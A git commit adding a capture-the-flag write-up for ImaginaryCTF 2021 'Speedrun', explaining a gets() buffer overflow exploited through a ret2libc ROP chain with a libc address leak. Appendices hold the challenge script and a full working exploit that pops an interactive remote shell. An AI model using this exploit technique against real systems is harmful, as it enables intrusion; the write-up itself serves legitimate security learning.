diff options
author | Malfurious <m@lfurio.us> | 2021-07-28 10:18:00 -0400 |
---|---|---|
committer | Malfurious <m@lfurio.us> | 2021-08-01 18:41:37 -0400 |
commit | ff011e4759a4fb9cf761b1a344f560e7d0403614 (patch) | |
tree | 310143c491c0a687a2bc3da836aaed133a4aff52 | |
parent | 576988b5b3902d509bdf12963d0149549023b1d1 (diff) | |
download | lib-des-gnux-ff011e4759a4fb9cf761b1a344f560e7d0403614.tar.gz lib-des-gnux-ff011e4759a4fb9cf761b1a344f560e7d0403614.zip |
Add writeup for ImaginaryCTF 2021 / Speedrun
Signed-off-by: Malfurious <m@lfurio.us>
-rw-r--r-- | docs/writeups/ImaginaryCTF_2021/Speedrun.txt | 380 |
1 files changed, 380 insertions, 0 deletions
diff --git a/docs/writeups/ImaginaryCTF_2021/Speedrun.txt b/docs/writeups/ImaginaryCTF_2021/Speedrun.txt new file mode 100644 index 0000000..a7b8283 --- /dev/null +++ b/docs/writeups/ImaginaryCTF_2021/Speedrun.txt @@ -0,0 +1,380 @@ +"I've seen some teams solve pwn challenges almost instantly. I'm sure y'all +wonder how. Well, you're about to find out!" + +Category: pwn (200 points) +Chall author: Eth007 +Writeup author: malfurious + + + +Setup +----- +We are provided with a Python script, as well as an address to contact the +vulnerable service over TCP/netcat. See Appendix A for the original script. +See Appendix B for my automated solution. + + + +The Service +----------- +We can see the service generates a very simple C program on the backend: + +int main(void) { + char inp[RANDOM_SIZE]; + setvbuf(stdout,NULL,2,0); + setvbuf(stdin,NULL,2,0); + gets(inp); // <-- Vulnerable function + puts("Thanks!"); +} + +Each time the script is run, this program is created with a random inp buffer +size between 20 and 1000. The service then compiles the program and converts +the binary file to base64 text to deliver to the user. + +After sending the executable to the user, the service runs it, redirecting all +standard IO from the user into it. This is our opportunity to pwn the system. + +A short 10 second timer will interrupt the service and disconnect us if we are +still connected. If we reconnect, we will be working with a brand new binary, +so the exploit needs to be automated and occur during a single session. + + + +The Binary +---------- +The binary is compiled for x86_64 and done so using -fno-stack-protector and +-no-pie. Therefore, we shouldn't need to worry about stack canaries and can +assume executable code address will be fixed. Some simple experimentation +determined that ASLR is _probably_ enabled in the remote environment, so no such +assumption can be made about most of the address space. Additionally, stack +execution protection (NX) is in effect, so simple shellcode is off the table. + + + +Ideas +----- +After realizing shellcode was not going to be an option, there were two +strategies I wanted to attempt to solve this problem. Both of them utilizing +Return-oriented programming (ROP). + +First: Use a ROP chain to implement the original shellcode (or a variant of it). +This prooved very difficult given our limited access to machine code in the +main binary. There was one useful gadget found in the binary near the end of +code under the __libc_csu_init symbol, at address 0x40120b; that being: + + 5f pop $rdi + c3 ret + +The randomness to the main() function's buffer didn't affect the offset of these +instructions, and since the code was not position-independent, the address was +reliable. This gadget will come in handy for the soultion, since x86_64 uses +the rdi register to pass the first argument to a function call. + +Second: Use a ROP chain to return to libc to call system("/bin/sh"). Due to +ASLR, we had no relaible address of any system library code, but we could +obtain them using a technique to leak libc addresses. + + + +Leaking libc +------------ +We can leak the version of the libc running on the remote system by determining +the relative offsets of a couple of its functions. We only have any sort of +reference to a couple of functions, these being the ones actually called by the +original program: setvbuf(), gets(), and puts(). + +Although the runtime location of libc functions will be randomized due to ASLR, +the PLT and GOT sections utilized directly by the executable will be fixed since +it is compiled position-dependent. + +To leak the address of any function for which we have a PLT/GOT pair, we just +need to call some print function with the address of the GOT section (which +holds the dynamic address) as its argument *after* a call to said function has +already occurred. We need to wait until after the first call, so that the GOT +section's pointer can be initialized properly. In this case, we call puts(), +since that is the only apropos function available. + +It was during working on this problem I learned about online libc databases. +An example: https://libc.blukat.me/. Services like this one will allow you to +give the observed addresses of two or more libc functions, and use their +relative offsets to cross-reference which version of libc they must come from. +With knowledge of the original libc build, one can simply lookup the offset of +any other symbol or even download the version in question to perform additional +analysis on their own. + + + +Dynamically-sized Payload +------------------------- +We need to deal with the fact that the program is recompiled with a different +buffer size each time we try to interact with it. My automated solution +does this by decoding and disassembling the data it receives on start-up. + + data = recv_bin(sock) + os.system(f"printf '{data}' | base64 -d >pyelf") + os.system(f"objdump -d pyelf | grep lea | sed '1q' > pyelf.ofs") + + # produces ... + 401189: 48 8d 85 e0 fe ff ff lea -0x120(%rbp),%rax + +This just _happens_ to work in this case because the first lea instruction +encountered in the binary is the one used to grab the buffer address for gets(). + +From there I use a regex to grap the '120' offset value. This is the offset +(in hex) from the start of the buffer to the base of the stack frame and is used +later for payload generation. + + + +ROP Solution - part 1 +--------------------- +A preliminary attack was required to leak the libc version. The following ROP +chain / payload was prepaired: + + [padding] Enough data to fill space between start of inp buffer and the bottom of the stack frame + [saved rbp placeholder] An 8-byte value to be consumed by the leave instruction at the end of main() + (ret) 0x40120b Return address: Pointer to the "pop $rdi, ret" ROP gadget + 0x00404018 Value to pop into $rdi (Pointer to puts() GOT section) + (ret) 0x00401030 Return address: Pointer to puts() PLT - Effectively calling puts(&puts); + (ret) 0x40120b Return address: Pointer to the "pop $rdi, ret" ROP gadget + 0x00404028 Value to pop into $rdi (Pointer to setvbuf() GOT section) + (ret) 0x00401030 Return address: Pointer to puts() PLT - Effectively calling puts(&setvbuf); + "\n" Newline character to terminate input to C gets() function call in main() + +If this payload is fed into the service, the binary addresses of functions +puts() and setvbuf() will be output after the "Thanks!" string. They can be +used to lookup the libc in use. + +puts = 0x7f0443fcb910 +setvbuf = 0x7f0443fcbf90 +libc6_2.28-10_amd64 + +From this we can determine the following offsets from libc base: + +puts function = 0x071910 +system function = 0x0449c0 +"/bin/sh" string = 0x181519 + +ASLR will randomize the location of libc base, but by re-leaking the address of +puts() in followup attacks, we can use these known offsets to calculate full +addresses. + + + +ROP Solution - part 2 +--------------------- +We are now ready to pwn the system. We need to prepare two payloads and get +the binary to read them both separately since we need to re-leak the randomized +puts() function address. So, the final step of the ROP chain for payload zero +is to jump back to _start - to re-initialize the stack and run main() again. + +Here is the first payload: all fixed addresses were taken directly from the +compiled binary. + + [padding] Same junk data as before, possibly different length + [saved rbp placeholder] Same placeholder as before + (ret) 0x40120b Return address: Pointer to the "pop $rdi, ret" ROP gadget + 0x00404018 Value to pop into $rdi (Pointer to puts() GOT section) + (ret) 0x00401030 Return address: Pointer to puts() PLT - Effectively calling puts(&puts); + (ret) 0x00401060 Return address: Pointer to _start entry-point + "\n" Terminate input + +After sending this, the service prints the new address of puts() after the +"Thanks!" string. We need to pause here to get this address to calculate +addresses for system() and "/bin/sh". The program should have jumped back to +main() and is ready for our second payload (within the same session). + + [padding] Same junk data, required length same as previous in part 2 + [saved rbp placeholder] Same placeholder + (ret) 0x40120b Return address: Pointer to the "pop $rdi, ret" ROP gadget + [binsh address] Value to pop into $rdi (Calculated pointer to "/bin/sh" string) + (ret) [system address] Return address: Calculated pointer to system() function - Calling system("/bin/sh") + "\n" Terminate input + +After sending this, the service has forked and dropped into a shell. The flag +is in flag.txt + + cat flag.txt + ictf{4ut0m4t1ng_expl0it_d3v????_b7d75e95} + + + +================================================================================ += Appendix A: 4E9F-speedrun.py = +================================================================================ +#!/usr/bin/env python3 + +import os +import sys +import subprocess +import base64 +import random +import uuid +import time + +code1 = ''' +#include <stdio.h> + +int main(void) { + char inp[''' + +code2 = ''']; + setvbuf(stdout,NULL,2,0); + setvbuf(stdin,NULL,2,0); + gets(inp); + puts("Thanks!"); +} +''' + +art = ''' +██████████████████████████ +█░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█ +█░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█ +█▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░█ +█▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░█ +█░░░██████▒▒▒░░░██████▒▒▒█ +█░░░██████▒▒▒░░░██████▒▒▒█ +█▒▒▒██████░░░▒▒▒██████░░░█ +█▒▒▒██████░░░▒▒▒██████░░░█ +█░░░▒▒▒░░░██████▒▒▒░░░▒▒▒█ +█░░░▒▒▒░░░██████▒▒▒░░░▒▒▒█ +█▒▒▒░░░████████████▒▒▒░░░█ +█▒▒▒░░░████████████▒▒▒░░░█ +█░░░▒▒▒████████████░░░▒▒▒█ +█░░░▒▒▒████████████░░░▒▒▒█ +█▒▒▒░░░███░░░▒▒▒███▒▒▒░░░█ +█▒▒▒░░░███░░░▒▒▒███▒▒▒░░░█ +█░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█ +█░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█ +██████████████████████████ +''' + +def compile(size): + filename = "/tmp/bin" + str(uuid.uuid4()) + open(filename + ".c", "w").write(code1 + str(size) + code2) + subprocess.run(["gcc", "-o", filename, filename + ".c", "-fno-stack-protector", "-no-pie"], capture_output=True) + os.remove(filename + ".c") + return filename + +def handler(signum, frame): + print("Out of time!") + +filename = compile(random.randint(20,1000)) +binary = base64.b64encode(open(filename, "rb").read()).decode() +print(art) +print("I'll see you after you defeat the ender dragon!") + +time.sleep(3) + +print("---------------------------BEGIN DATA---------------------------") +print(binary) +print("----------------------------END DATA----------------------------") + +subprocess.run([filename], stdin=sys.stdin, timeout=10) +os.remove(filename) + + + +================================================================================ += Appendix B: speedrun_solution.py = +================================================================================ +import socket +import re +import os + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) +s.connect(("chal.imaginaryctf.org", 42020)) + +#' 401189: 48 8d 85 f0 fe ff ff lea -0x110(%rbp),%rax' +p = re.compile('-0x(.*)\(%rbp\)') + +def pp(i): + return i.to_bytes(8, 'little') + +def gp(i): + return int.from_bytes(i, 'little', signed=False) + +def recv_pre(sock): + data = b'' + while True: + data += sock.recv(20) + if b'-------' in data: + while True: + b = sock.recv(1) + data += b + if b == b'\n': + print(data.decode()) + return + +def recv_bin(sock): + data = b'' + while True: + b = sock.recv(1) + if b == b'\n': + print(" [[data consumed by the collective]]") + return data.decode() + data += b + +# automated re +recv_pre(s) +data = recv_bin(s) +os.system(f"printf '{data}' | base64 -d >pyelf") +os.system(f"objdump -d pyelf | grep lea | sed '1q' > pyelf.ofs") +ofs = open("pyelf.ofs", "r").read() +print(ofs) +for x in p.findall(ofs): + ofs = int(x, 16) + break +print(ofs) + +# finish recv +print(s.recv(4096).decode()) + +# send payload +rdi_gadget = 0x40120b +puts_plt = 0x00401030 +puts_got = 0x00404018 +vbuf_plt = 0x00401050 +vbuf_got = 0x00404028 +_start = 0x00401060 + +puts_ofs = 0x071910 +syst_ofs = 0x0449c0 +binsh_ofs = 0x181519 + +# First payload +payload = (b"A"*ofs) + (b"B"*8) + +payload += pp(rdi_gadget) # puts(&puts) +payload += pp(puts_got) +payload += pp(puts_plt) + +payload += pp(_start) # jmp _start +payload += b"\n" + +s.send(payload) +get = s.recv(4096) +print(get) +get = get[8:-1] # strip 'Thanks!\n ... \n' +leaked = gp(get) +syst = leaked + syst_ofs - puts_ofs +binsh = leaked + binsh_ofs - puts_ofs +print(get) + +# Second payload +payload = (b"A"*ofs) + (b"B"*8) + +payload += pp(rdi_gadget) # system("/bin/sh") +payload += pp(binsh) +payload += pp(syst) +payload += b"\n" + +s.send(payload) +get = s.recv(4096) +print(get) + +#interactive +while True: + cmd = input() + "\n" + s.send(cmd.encode()) + print(s.recv(4096)) |